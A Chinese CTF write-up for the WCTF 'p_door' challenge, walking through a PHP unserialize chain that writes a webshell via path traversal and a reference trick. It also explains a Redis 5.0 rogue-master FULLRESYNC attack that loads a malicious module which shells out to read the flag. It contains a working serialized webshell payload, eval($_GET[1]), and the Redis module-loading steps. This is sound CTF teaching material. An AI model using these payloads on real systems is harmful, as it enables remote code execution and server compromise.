## wctf-p_door
### 反序列化getshell
这道题的反序列化利用用到一个相当老且冷门的知识
首先可以定位到publish这个功能具有写文件的操作
```php
//controllers.php
...
public function doPublish(){
$this->checkAuth();
$page = unserialize($_COOKIE["draft"]);
$fname = $_POST["fname"];
$page->publish($fname);
setcookie("draft", null, -1);
die("Your blog post will be published after a while (never)<br><a href=/>Back</a>");
}
...
```
publish调用了`Cache::writeToFile`,可以看到`$ext`明显存在目录穿越(`substr(strstr($filename, "."), 1)`)。
举个例子,传入`$filename`为`./../../../../var/www/html/a.php`
拼凑出完整的目录是`/tmp/cache/[username]/[microtime]./../../../../var/www/html/a.php`
```php
//models.php
class Page {
const TEMPLATES = array("main" => "main.tpl", "header" => "header.tpl");
public $view;
public $text;
public $template;
public $header;
public function __construct(string $template) {
$this->template = $template;
}
public function __toString(): string {
return $this->render();
}
public function publish($filename) {
$user = User::getInstance();
$ext = substr(strstr($filename, "."), 1);
$path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext;
$user->checkWritePermissions();
Cache::writeToFile($path, $this);
}
...
```
但是存在一个问题,我们可以发现这里使用了`is_dir`判断路径,如果路径中含有不存在的目录名就会报错退出。这里不存在的目录为`[microtime].`
```php
...
class Cache {
public static function writeToFile($path, $content) {
error_log($path); # TODO: delete this
$info = pathinfo($path);
if (!is_dir($info["dirname"]))
throw new Exception("Directory doesn't exists");
if (is_file($path))
throw new Exception("File already exists");
file_put_contents($path, $content);
}
}
...
```
这一步可以通过`getCacheDir()`这里`mkdir`实现绕过,因为我们发现其实在`checkWritePermissions()`之前就进行了`getCacheDir()`操作,从而我们可以在某一个未来时间点附近,用这个时间点为用户名疯狂`mkdir`,比如,使用`wupco/1562336457.§1722§`这个用户名,用`§`包裹的是我要放在burpsuite里跑的,将未来这个时间点1s之内的文件夹都建立出来。
```php
public function checkWritePermissions() {
if (!$this->name || !ctype_alnum($this->name))
die("Invalid user");
if ( !(($this->perms >> 2)&1) )
die("Access denied");
}
public function getCacheDir(): string {
$dir_path = self::CACHE_PATH . $this->name;
if (!is_dir($dir_path)){
mkdir($dir_path);
}
return $dir_path;
}
```
所以现在我们可以做到任意文件写了,我们再关注一下写的内容为`$this`,也就是`Page`本身这个类,在写的时候会自动调用`__toString`转成字符串,这里面调用了`->render()`这个函数
```php
public function renderVars(): string {
$content = $this->view["content"];
foreach ($this->vars as $k=>$v){
$v = htmlspecialchars($v);
$content = str_replace("@@$k@@", $v, $content);
}
return $content;
}
private function getHeader(): ?Page {
return $this->header;
}
public function render(): string {
$user = User::getInstance();
if (!array_key_exists($this->template, self::TEMPLATES))
die("Invalid template");
$tpl = self::TEMPLATES[$this->template];
$this->view = array();
$this->view["content"] = file_get_contents($tpl);
$this->vars["user"] = $user->name;
$this->vars["text"] = $this->text."\n";
$this->vars["rendered"] = microtime(true);
$content = $this->renderVars();
$header = $this->getHeader();
return $header.$content;
}
```
具体的逻辑是从两个固定的模板里取一个内容作为`$this->view["content"]`,然后对数组变量`$this->vars`几个位置赋值,再将变量渲染到模板中。渲染的过程十分血腥暴力,直接把变量内容`htmlspecialchars`了,这样你可控`$this->text`也无济于事了,无法写个shell出来(`<`会被实体化)。两个可选的模板如下
```php
//main.tpl
@@text@@
<hr>
<small>
Created by Super Blog System.
<br>
Rendered at: @@rendered@@
</small>
<br>
```
```php
//header.tpl
<hr>
User: @@user@@
<hr>
@@text@@
<br>
<br>
```
正常整个类的结构如下
```php
Page Object
(
[view] =>
[text] => aaaa
[template] => main
[header] => Page Object
(
[view] =>
[text] =>
[template] => header
[header] =>
)
[user] => User Object
(
[name] => wupco
[perms] => 4
)
[filename] =>
)
```
经过渲染之后的结果如下(这个内容根据前面已经可以写到任意文件里了)
```
<hr>
User: wupco
<hr>
aaaa
<br>
<br><hr>
<small>
Created by Super Blog System.
<br>
Rendered at: 1562336457.1722
</small>
<br>
```
绕过实体化的技巧得于一个很古老的技巧
[南邮ctf训练平台某题](https://www.cnblogs.com/nul1/p/9417484.html)
利用同类变量可以进行引用的操作(有点类似于指针)
我们注意题目的这几行
```php
$tpl = self::TEMPLATES[$this->template];
$this->view = array();
$this->view["content"] = file_get_contents($tpl);
$this->vars["user"] = $user->name;
$this->vars["text"] = $this->text."\n";
$this->vars["rendered"] = microtime(true);
```
在取完`$this->view["content"]`后对`$this->vars`进行了赋值操作,如果我把`$this->vars`指向`$this->view`是不是就存在变量覆盖的情况呢?答案是是的!
但是我们注意到`$this->view = array();`,也就是view如果有内容本身就会被清空,我们的指针只能指向`view`而不能指向`view['content']`,而且`$user->name`是有检测的,只能为string的字母数字,所以只有`$this->vars["text"] = $this->text."\n";`这一个可利用了,我构造出的引用为`$this->vars["text"] = &$this->view;`。举个例子,我们控制`$this->text`为`<?php aaa\n`,那么`$this->vars["text"]`将会被赋值,同时指向的内容`$this->view`也会被赋值`<?php aaa\n`,那么在`renderVars`的时候
```php
public function renderVars(): string {
$content = $this->view["content"];
foreach ($this->vars as $k=>$v){
$v = htmlspecialchars($v);
$content = str_replace("@@$k@@", $v, $content);
}
return $content;
}
```
会取`$content=$this->view["content"];`但是明显我们这里`$this->view`只能为字符串,不过不慌,这里面实际上是可以取的,以上内容会被取第一字节`<`,虽然报个warning,但无碍。
![](https://i.imgur.com/01HXoCk.png)
这样我们就可以避免`<`被转义了,我们构造`$this->header`为以上的payload,然后在`$this`本体拼上`?php phpinfo()`两个就会被拼接起来,注意本体使用`main.tpl`这个模板,是直接以可控内容开头的。
```php
$content = $this->renderVars();
$header = $this->getHeader();
return $header.$content;
```
拼凑完是个这样子,很明显不符合php语法没法用
```php
<?php phpinfo();
<br>
<br><hr>
<small>
Created by Super Blog System.
<br>
Rendered at: 1562336457.1722
</small>
<br>
```
这时候我们可以用php的`__halt_compiler();`结束PHP的opcode编译过程
```php
<?php phpinfo();__halt_compiler();
<br>
<br><hr>
<small>
Created by Super Blog System.
<br>
Rendered at: 1562336457.1722
</small>
<br>
```
ok,最终getshell的反序列化部分的payload为,前面一部分反序列化数据是我从cookie里取的,方便直接修改,也可以new一个Page。
```php
$a = unserialize(urldecode('O%3A4%3A%22Page%22%3A6%3A%7Bs%3A4%3A%22view%22%3BN%3Bs%3A4%3A%22text%22%3Bs%3A3%3A%22sad%22%3Bs%3A8%3A%22template%22%3Bs%3A4%3A%22main%22%3Bs%3A6%3A%22header%22%3BO%3A4%3A%22Page%22%3A6%3A%7Bs%3A4%3A%22view%22%3BN%3Bs%3A4%3A%22text%22%3Bs%3A3%3A%22asd%22%3Bs%3A8%3A%22template%22%3Bs%3A6%3A%22header%22%3Bs%3A6%3A%22header%22%3BN%3Bs%3A4%3A%22user%22%3BO%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22wupco%22%3Bs%3A5%3A%22perms%22%3Bi%3A4%3B%7Ds%3A8%3A%22filename%22%3BN%3B%7Ds%3A4%3A%22user%22%3Br%3A10%3Bs%3A8%3A%22filename%22%3BN%3B%7D'));
$a->header = new Page('main');
$a->header->vars["text"] = &$a->header->view;
$a->header->text = '<?php aaaaa';
$a->text = '?php eval($_GET[1]); __halt_compiler();';
print_r($a);
echo urlencode(serialize($a));
```
需要用burpsuite一直跑两个payload,一个是时间戳比当前稍晚一些的1s之内的mkdir,一个是这个写shell的。
### redis5.0 1day 利用
![](https://i.imgur.com/khxPXzP.png)
[文章出处](https://2019.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf) 刚好是题目作者orz。
这里利用的是redis>3.x版本的一个主从模式(slave)的一个安全问题。
我们可以自己搭建一个slave redis服务器,然后在目标redis上利用slaveof做主从同步。
目的在于利用`FULLRESYNC`机制完全可控`config set dbname ...` 这个文件的内容(以往我们利用都是利用容错性写文件`crontab`或`webshell`或`sshkey`),现在是要求完全可控,因为我们要写的不是别的,是redis另一个重大功能`module`,它允许加载一个外部的so文件。
于是我们的利用思路是
1. 利用`FULLRESYNC`同步一个so文件(db)到目标服务器.
2. 利用module load加载so文件.
3. 使用扩展里自定义的函数get flag.
前面需要搭建一个可控返回报文内容的redis服务器(使用Custom形式报文的)
https://travis-ci.org/chekart/rediserver
![](https://i.imgur.com/1TJeINV.png)
然后在目标redis执行slaveof xxx xx,创建主从模式
设置一个导出so的名字,`config set dbfilename xxxx`
然后这边搭建好的服务器控制返回`FULLRESYNC`的报文
然后在目标redis load 写好的module
![](https://i.imgur.com/BnaqU6P.jpg)
这里我是改编 https://github.com/wujunze/redis-module-panda 一个样例module
```cpp
int HelloCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
+ FILE *fp = NULL;
+ char data[100] = {'0'};
+ fp = popen("cat /flag", "r");
+ fgets(data, sizeof(data), fp);
+ pclose(fp);
+ RedisModule_ReplyWithSimpleString(ctx, data);
return REDISMODULE_OK;
}
```
本地测试
![](https://i.imgur.com/eil0pwN.png)
远程(做了端口转发)
![](https://i.imgur.com/VEjkkNx.png)
## 题目文件下载地址
https://drive.google.com/file/d/1hD97d3-SR_Ou1hsyelxkS8PfV9MlQrU-/view?usp=sharing